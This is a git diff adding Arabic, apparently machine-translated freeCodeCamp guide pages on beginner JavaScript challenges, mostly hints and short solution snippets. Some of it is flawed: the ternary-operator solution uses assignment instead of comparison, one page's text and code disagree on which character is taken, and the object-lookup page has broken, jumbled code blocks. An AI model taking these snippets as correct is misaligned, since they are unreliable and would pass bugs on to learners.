+ return true; // Change this line 
+ 
+ // Only change code above this line. 
+ } 
+` 
+
+### تفسير الشفرة
+
+مجرد تعديل القيمة `Boolean` التي لن تتمكن من إرجاعها من `false` إلى `true` ستلبي المتطلبات.
+
+### مصادر
+
+[مسرد MDN - منطقي](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+
+[ويكيبيديا - نوع البيانات المنطقية](https://en.wikipedia.org/wiki/Boolean_data_type)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
new file mode 100644
index 0000000000..2ffb6dcaa4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-case-sensitivity-in-variables/index.md
@@ -0,0 +1,13 @@
+---
+title: Understanding Case Sensitivity in Variables
+localeTitle: فهم حساسية الحالة في المتغيرات
+---
+## فهم حساسية الحالة في المتغيرات
+
+قاعدة البرمجة الشائعة هي استخدام **حالة الجمل** عند إنشاء أسماء المتغيرات. لاحظ أن الكلمة الأولى هي أحرف صغيرة وكل كلمة تالية هي كبيرة. وهنا بعض الأمثلة:
+
+ `var camelCase; 
+ var someNumber; 
+ var theBestVariableEver; 
+ var weWillStoreNumbersInThisVariable; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
new file mode 100644
index 0000000000..629c79839a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-undefined-value-returned-from-a-function/index.md
@@ -0,0 +1,19 @@
+---
+title: Understanding Undefined Value returned from a Function
+localeTitle: فهم قيمة غير محددة عاد من وظيفة
+---
+## فهم قيمة غير محددة عاد من وظيفة
+
+وظيفة مع عدم وجود بيان `return` ، لديها خرج من `undefined` . لذلك ، إذا حاولت مساواة متغير إلى إخراج دالة مع عدم وجود عبارة `return` ، فسوف يساوي هذا المتغير `undefined` .
+
+المضي قدما وتحديد `addFive()` مثل ذلك ...
+
+ `function addFive() { 
+  sum += 5; 
+ } 
+` 
+
+كما ترى ، يتم إضافة `sum` ب 5 بدون مشاكل ، ولكن بما أنه لا يوجد بيان إرجاع ، فهناك مخرجات `undefined` .
+
+ `var result = addFive(); // This is undefined 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
new file mode 100644
index 0000000000..9fb0882093
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/understanding-uninitialized-variables/index.md
@@ -0,0 +1,7 @@
+---
+title: Understanding Uninitialized Variables
+localeTitle: فهم متغيرات غير مهيأة
+---
+## فهم متغيرات غير مهيأة
+
+تأكد من أن المتغير يحتوي على قيمة البيانات الصحيحة. قد يؤدي ترك متغير غير مهيأ ، بمعنى عدم إعطائه قيمة ، إلى حدوث مشكلات إذا كنت تريد إجراء عمليات عليه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
new file mode 100644
index 0000000000..99124a129a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/updating-object-properties/index.md
@@ -0,0 +1,26 @@
+---
+title: Updating Object Properties
+localeTitle: تحديث خصائص الكائن
+---
+## تحديث خصائص الكائن
+
+## ملحوظة:
+
+استخدم نقطة \*\*. \*\* تدوين للوصول إلى خاصية الكائن.
+
+## تنبيه المفسد: الحل إلى الأمام!
+
+## حل:
+
+ `// Setup 
+ var myDog = { 
+  "name": "Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"] 
+ }; 
+ 
+ // Only change code below this line. 
+ 
+ myDog.name = "Happy Coder"; // Solution 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
new file mode 100644
index 0000000000..513bfa10c4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-first-character-in-a-string/index.md
@@ -0,0 +1,11 @@
+---
+title: Use Bracket Notation to Find the First Character in a String
+localeTitle: استخدم تدرج قوس لإيجاد الحرف الأول في سلسلة
+---
+## استخدم تدرج قوس لإيجاد الحرف الأول في سلسلة
+
+تذكر أن الحرف الأول لسلسلة ما يكون في الموضع الصفري. فمثلا:
+
+ `var str = "Hello"; 
+ var letter = str[0]; // This equals "H" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..6955762aba
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-last-character-in-a-string/index.md
@@ -0,0 +1,19 @@
+---
+title: Use Bracket Notation to Find the Last Character in a String
+localeTitle: استخدم Bracket Notation لإيجاد الحرف الأخير في سلسلة
+---
+## استخدم Bracket Notation لإيجاد الحرف الأخير في سلسلة
+
+خذ بعين الاعتبار السلسلة التالية:
+
+ `var str = "Coding"; 
+` 
+
+يبلغ طول هذه السلسلة 6 أحرف ، لذا إذا استخدمت .length على السلسلة ، فستعطيك 6. لكن تذكر أن الحرف الأول في الموضع الصفري. الحرف الثاني هو في الموضع الأول. الحرف الثالث هو في الموضع الثاني.
+
+استمر في العمل ، وستحصل في النهاية على الحرف السادس (الذي ، استنادًا إلى السلسلة أعلاه ، هو 'g') في المركز الخامس. هذا هو السبب في حصولك على آخر حرف لسلسلة ، مع:
+
+ `var lastChar = str[str.length - 1]; // This is 6 - 1, which is 5 
+` 
+
+هذا سيكون "ز".
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
new file mode 100644
index 0000000000..2ff1146422
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-character-in-a-string/index.md
@@ -0,0 +1,7 @@
+---
+title: Use Bracket Notation to Find the Nth Character in a String
+localeTitle: استخدم Bracket Notation لإيجاد الحرف Nth في سلسلة
+---
+## استخدم Bracket Notation لإيجاد الحرف Nth في سلسلة
+
+تذكر أن الحرف الأول لسلسلة ما يقع عند الموضع 0. لذا يجب أن يكون الحرف الثاني في الموضع الأول. ثم يجب أن يكون الحرف الثالث في ... هممم؟
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
new file mode 100644
index 0000000000..1a719aa86a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-bracket-notation-to-find-the-nth-to-last-character-in-a-string/index.md
@@ -0,0 +1,13 @@
+---
+title: Use Bracket Notation to Find the Nth-to-Last Character in a String
+localeTitle: استخدم Bracket Notation للبحث عن الحرف Nth-to-Last في سلسلة
+---
+## استخدم Bracket Notation للبحث عن الحرف Nth-to-Last في سلسلة
+
+تذكر أن موضع أي حرف ، هو **طول السلسلة ، ناقص واحد ، مطروحًا منه عدد الأحرف بعده** . على سبيل المثال ، إذا كنت تحاول العثور على الحرف الثالث الأخير من السلسلة التالية:
+
+ `var str = "Programming"; 
+ var secondToLastChar = str[str.length - 2]; // This is 'i' 
+` 
+
+كما ترى ، هناك حرف إضافي واحد بعد 'n' (وهذا هو 'g').
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
new file mode 100644
index 0000000000..9dd9927e0c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-conditional-logic-with-if-statements/index.md
@@ -0,0 +1,52 @@
+---
+title: Use conditional logic with If statements
+localeTitle: استخدم المنطق الشرطي مع عبارات If
+---
+## استخدم المنطق الشرطي مع عبارات If
+
+### شرح المشكلة:
+
+_قم بإنشاء جملة `if` داخل الدالة لإرجاع `"Yes, that was true"` إذا كانت المعلمة `wasThatTrue` `true` وإرجاع `"No, that was false"` وإلا._
+
+#### تلميح 1
+
+ستقوم عبارة `if` الخاص بك بتقييم ما إذا كان `(condition)` الخاص بك `true` أم `false` ويتم تنفيذه (إذا تم تقييمه إلى `true` ) فإن `{statement}` الإعلان عنه بعده مباشرة.
+
+> _حاول أن تحل المشكلة الآن_
+
+#### تلميح 2
+
+في حالة تقييم `(condition)` الخاص بك إلى `false` ، فلن يتم تنفيذ `{statement}` وستعرض الدالة بيان `return` التالي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `// Setup 
+ function trueOrFalse(wasThatTrue) { 
+ 
+  // Only change code below this line. 
+ 
+  if (wasThatTrue) 
+   { 
+    return "Yes, that was true"; 
+    } 
+  return "No, that was false"; 
+ 
+  // Only change code above this line. 
+ } 
+` 
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` تقييم الحالة `(wasThatTrue)` إلى `true` . إذا كان الأمر كذلك ، يقوم ir بإرجاع العبارة بين الأقواس المتعرجة. إذا لم يكن الأمر كذلك ، فسيعرض بيان `return` التالي خارجها.
+
+### مصادر
+
+*   ["Boolean" - مسرد مصطلحات MDN](https://developer.mozilla.org/en-US/docs/Glossary/Boolean)
+    
+*   ["if… else" - MDN JavaScript reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..8f491165ba
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Multiple Conditional (Ternary) Operators
+localeTitle: استخدم معاملات متعددة شرطية (ثلاثية)
+---
+## استخدم معاملات متعددة شرطية (ثلاثية)
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-multiple-conditional-ternary-operators/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
new file mode 100644
index 0000000000..458c257925
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-conditional-ternary-operator/index.md
@@ -0,0 +1,18 @@
+---
+title: Use the Conditional (Ternary) Operator
+localeTitle: استخدم المشغل الشرطي (الثالوثي)
+---
+## استخدم المشغل الشرطي (الثالوثي)
+
+### تلميح 1
+
+استخدم المشغل الثلاثي للتحقق من المساواة.
+
+### تحذير حل قدما!
+
+ `function checkEqual(a, b) { 
+  return (a = b ? true : false ); 
+ } 
+ 
+ checkEqual(1, 2); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
new file mode 100644
index 0000000000..7c220fce70
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function with a Radix
+localeTitle: استخدم الدالة parseInt مع Radix
+---
+## استخدم الدالة parseInt مع Radix
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function-with-a-radix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
new file mode 100644
index 0000000000..d14b980a1d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the parseInt Function
+localeTitle: استخدم الدالة parseInt
+---
+## استخدم الدالة parseInt
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/use-the-parseint-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
new file mode 100644
index 0000000000..12bb4f89c4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/using-objects-for-lookups/index.md
@@ -0,0 +1,70 @@
+---
+title: Using Objects for Lookups
+localeTitle: استخدام كائنات لعمليات البحث
+---
+## استخدام كائنات لعمليات البحث
+
+هنا هو المثال:
+
+ `// Setup 
+ function phoneticLookup(val) { 
+  var result = ""; 
+ 
+  // Only change code below this line 
+  switch(val) { 
+    case "alpha": 
+      result = "Adams"; 
+      break; 
+    case "bravo": 
+      result = "Boston"; 
+      break; 
+    case "charlie": 
+      result = "Chicago"; 
+      break; 
+    case "delta": 
+      result = "Denver"; 
+      break; 
+    case "echo": 
+      result = "Easy"; 
+      break; 
+    case "foxtrot": 
+      result = "Frank"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ phoneticLookup("charlie"); 
+` 
+
+وإليك الحل: نحن لا نغير أي شيء هنا:
+
+ `function phoneticLookup(val) { 
+  var result = ""; 
+` 
+
+نحن بحاجة إلى تحويل بيان التبديل إلى كائن. نقل كل قيم `case` إلى خصائص الكائن:
+
+ ``function phoneticLookup(val) { 
+  var result = ""; 
+  var lookup = { 
+    "alpha": "Adams", 
+    "bravo": "Boston", 
+    "charlie": "Chicago", 
+    "delta": "Denver", 
+    "echo": "Easy", 
+    "foxtrot": "Frank" 
+  }; 
+  ``` 
+ After converting our case statements into object properties you can make use of the variable `result` to let the function return the correct value. 
+`` 
+
+جافا سكريبت result = lookup \[val\]؛ \`\` \`
+
+تشغيل الكود في [repl.it.](https://repl.it/@AdrianSkar/Using-objects-for-lookups)
+
+### مصادر
+
+*   ["أساسيات كائن جافا سكريبت" - _مرجع جافا سكريبت MDN_](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
new file mode 100644
index 0000000000..1859d19b74
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
@@ -0,0 +1,86 @@
+---
+title: Word Blanks
+localeTitle: كلمة الفراغات
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+سوف نستخدم الآن معرفتنا بالسلاسل لبناء لعبة كلمات نمط **Mad Libs التي نسميها** "Word Blanks". ستقوم بإنشاء جملة نمط "Fill in the Blanks" (اختياريًا مرحًا) "Fill in the Blanks".
+
+ستحتاج إلى استخدام معاملات السلسلة لإنشاء سلسلة جديدة ، **نتيجة** ، باستخدام المتغيرات المتوفرة: **myNoun** و **myAdjective** و **myVerb** و **myAdverb** .
+
+ستحتاج أيضًا إلى استخدام سلاسل إضافية ، والتي لن تتغير ، ويجب أن تكون بين جميع الكلمات المقدمة. يجب أن يكون الإخراج جملة كاملة.
+
+لقد قدمنا ​​إطارًا لاختبار نتائجك بكلمات مختلفة. ستقوم الاختبارات بتشغيل وظيفتك مع العديد من المدخلات المختلفة للتأكد من ظهور جميع الكلمات المقدمة في الإخراج ، بالإضافة إلى سلاسل إضافية.
+
+*   تغيير الرمز أدناه `//Your Code here` `//Change this line` .
+*   لاحظ أن تقوم بتحرير داخل الكلمة `wordBlanks()` .
+*   سيكون لديك أساسا إنشاء جملة مع متغيرات السلسلة المقدمة.
+
+#### روابط ذات صلة
+
+*   [جنون ليبس](https://en.wikipedia.org/wiki/Mad_Libs)
+*   [التحدي: بناء سلاسل مع المتغيرات](http://www.freecodecamp.com/challenges/constructing-strings-with-variables)
+*   [تحدي: سلاسل متسلسلة مع Plus Operator](http://www.freecodecamp.com/challenges/concatenating-strings-with-plus-operator)
+*   [تحدي: سلاسل متسلسلة مع Plus Equals Operator](http://www.freecodecamp.com/challenges/concatenating-strings-with-the-plus-equals-operator)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+`+` يمكن استخدامها _لسَلسَلة_ السلاسل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+مثلما يمكنك سلسلة السلاسل بالتسلسل ، يمكنك تعيينها إلى متغير موجود بدلاً من واحدة جديدة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+`+=` سيسمح لك باستخدام متغير موجود ، نوع سلسلة في هذه الحالة. تذكر أن تضيف حروفك **غير** الموجودة بين كل متغير.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) { 
+    var result = ""; 
+    // Your code below this line 
+    result+= "My "+myAdjective+" "+myNoun+" "+myVerb+" very "+myAdverb+"."; 
+ 
+    // Your code above this line 
+  return result; 
+ } 
+ 
+ // Change the words here to test your function 
+ wordBlanks("dog", "big", "ran", "quickly"); 
+` 
+
+**مثال تشغيل**
+
+*   اختبار `wordBlanks("dog", "big", "ran", "quickly");` أشواط.
+*   يتم اعلان **النتيجة** المتغيرة بسلسلة فارغة `""` .
+*   وسيتم تغيير **النتيجة** مع سلسلة جديدة تتألف من سلاسل متسلسلة "كلب" ، "كبير" ، "ركض" ، "بسرعة" من خلال المتغيرات **myNoun** ، **myAdjective** ، **myVerb** ، **myAdverb** على التوالي ؛ يتم تغيير الترتيب وإضافة مسافة بيضاء.
+*   يتم إرجاع **النتيجة** .
+
+### شرح الشفرة:
+
+*   استخدم **النتيجة** لسَلسَلة المتغيرات المحددة.
+*   كلمات منفصلة مع المسافات البيضاء والكلمات المناسبة لتشكيل الجملة كاملة.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..36c21895fa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,19 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: اكتب Reusable JavaScript مع الوظائف
+---
+## اكتب Reusable JavaScript مع الوظائف
+
+تتيح لك الوظائف إعادة استخدام التعليمات البرمجية مرارًا وتكرارًا. مهمتنا هي جعل وظيفة بسيطة `reusableFunction()` تطبع "Hi World" إلى وحدة التحكم (والتي يمكنك الوصول إليها باستخدام **Ctrl + Shift + I** ).
+
+تبدأ من خلال استخدام الكلمة `function` ، ثم كتابة اسم الدالة (الذي يتبع تنسيق حالة الجمل). ثم ، اكتب `()` ، وإنشاء الأقواس `{}` . مثل ذلك:
+
+ `function reusableFunction() {} 
+` 
+
+الآن ، أصبحت الدالة جاهزة لكتابتها. استخدم `console.log()` لطباعة رسالة في وحدة التحكم. الحل الأساسي رمز كما يلي:
+
+ `function reusableFunction() { 
+    console.log("Hi World"); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
new file mode 100644
index 0000000000..6ed761e871
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
@@ -0,0 +1,19 @@
+---
+title: Catch Arguments Passed in the Wrong Order When Calling a Function
+localeTitle: Catch Arguments Passed in the Wrong Order When Calling a Function
+---
+## Catch Arguments Passed in the Wrong Order When Calling a Function
+
+ `function raiseToPower(b, e) { 
+  return Math.pow(b, e); 
+ } 
+` 
+
+*   تستخدم الوظيفة المذكورة أعلاه لرفع العدد الأساسي `b` إلى قوة الأس `e` .
+*   يجب استدعاء الدالة على وجه التحديد مع المتغيرات بالترتيب الصحيح. وبخلاف ذلك ، تقوم الوظيفة بخلط كلا المتغيرين وإرجاع إجابة غير مرغوبة.
+*   تأكد من أن `power` tha المتغيرة تقوم بتنفيذ وظيفة `raiseToPower` بشكل صحيح.
+
+## حل:
+
+ `let power = raiseToPower(base, exp); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
new file mode 100644
index 0000000000..8c2e730770
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
@@ -0,0 +1,13 @@
+---
+title: Catch Missing Open and Closing Parenthesis After a Function Call
+localeTitle: الصيد المفقود وأشرطة الاختتام المفتوحة بعد استدعاء وظيفة
+---
+## الصيد المفقود وأشرطة الاختتام المفتوحة بعد استدعاء وظيفة
+
+*   تذكر أن تضيف أقواس الفتح والإغلاق عند استدعاء وظيفة.
+*   FunctionName + ()؛
+
+## حل:
+
+ ` let result = getNine(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
new file mode 100644
index 0000000000..2e14ba0e7c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
@@ -0,0 +1,25 @@
+---
+title: Catch Misspelled Variable and Function Names
+localeTitle: القبض على المتغيرات التي بها أخطاء في الأسماء والأسماء الدالة
+---
+## القبض على المتغيرات التي بها أخطاء في الأسماء والأسماء الدالة
+
+### شرح المشكلة:
+
+قم بإصلاح الخطأين الإملائيين في التعليمات البرمجية بحيث يعمل الحساب netWorkingCapital.
+
+### ملحوظة
+
+تحقق من هجاء المتغيرات الأولى والثانية عند استخدامها.
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+ ``// 'i' and 'e' swapped in "receivables" and missing 's' in "payables" 
+ 
+ let receivables = 10; 
+ let payables = 8; 
+ let netWorkingCapital = receivables - payables; 
+ console.log(`Net working capital is: ${netWorkingCapital}`); 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
new file mode 100644
index 0000000000..9d18b5bb9c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
@@ -0,0 +1,15 @@
+---
+title: Catch Mixed Usage of Single and Double Quotes
+localeTitle: قبض على الاستخدام المختلط من أسعار مفردة ومزدوجة
+---
+## قبض على الاستخدام المختلط من أسعار مفردة ومزدوجة
+
+*   تذكر ما إذا كنت تختار استخدام علامات اقتباس مفردة أو مزدوجة ، ببساطة إضافة `\` قبل أن يسمح الحرف بحرف الأحرف في السلسلة دون إغلاق علامات الاقتباس الفردية أو المزدوجة.
+*   سيتم تمرير حالات الاختبار فقط باستخدام علامات اقتباس مزدوجة.
+
+## حل:
+
+ `//Solution1: 
+ let innerHtml = "<p>Click here to <a href=\"#Home\">return home</a></p>"; 
+ console.log(innerHtml); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
new file mode 100644
index 0000000000..7ca5a1c4f6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
@@ -0,0 +1,65 @@
+---
+title: Catch Off By One Errors When Using Indexing
+localeTitle: القبض عن طريق واحدة من الأخطاء عند استخدام الفهرسة
+---
+## القبض عن طريق واحدة من الأخطاء عند استخدام الفهرسة
+
+### مبادئ
+
